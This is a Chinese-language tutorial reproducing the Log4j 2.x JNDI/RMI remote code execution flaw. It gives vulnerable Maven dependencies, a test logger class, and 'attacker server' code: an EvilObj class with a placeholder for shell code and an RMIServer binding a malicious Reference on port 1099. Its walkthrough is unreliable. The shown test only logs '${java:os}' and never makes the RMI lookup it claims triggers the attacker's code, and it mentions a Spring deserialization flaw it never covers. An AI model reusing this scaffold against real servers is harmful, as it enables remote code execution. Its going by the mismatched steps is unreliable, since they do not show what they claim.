概念
RMI(Remote Method Invocation) 即Java遠程方法調用,一種用於實現遠程過程調用的應用程序編程接口
JNDI (Java Naming and Directory Interface)是一個應用程序設計的API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口
JNDI和RMI的主要關系是RMI注冊的服務可以通過JNDIAPI訪問。在討論到Spring反序列化漏洞之前,先看看如果通過JNDI來調用RMI注冊的服務。
受影響范圍
Apache Log4j 2.x < 2.15.0
Maven
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
代碼
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log2j2Test {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
String name = "${java:os}";
LOGGER.error("Hello, {}!",name);
}
}
就像web網頁的sql注入,php的webshell一樣,執行了不該執行的。
lookup基於jndi,jndi和rmi是導致這個漏洞的根本原因。
黑客服務端
寫個便於攻擊的部署在服務器端的代碼
EvilObj
package com.autumn.rmi;
public class EvilObj {
static {
System.out.println("shell代碼");
}
}
RMIServer
package com.autumn.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("com.autumn.rmi.EvilObj","com.autumn.rmi.EvilObj",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil",referenceWrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
先執行代碼RMIServer,在執行Test。發現會在Test端執行黑客服務端的代碼。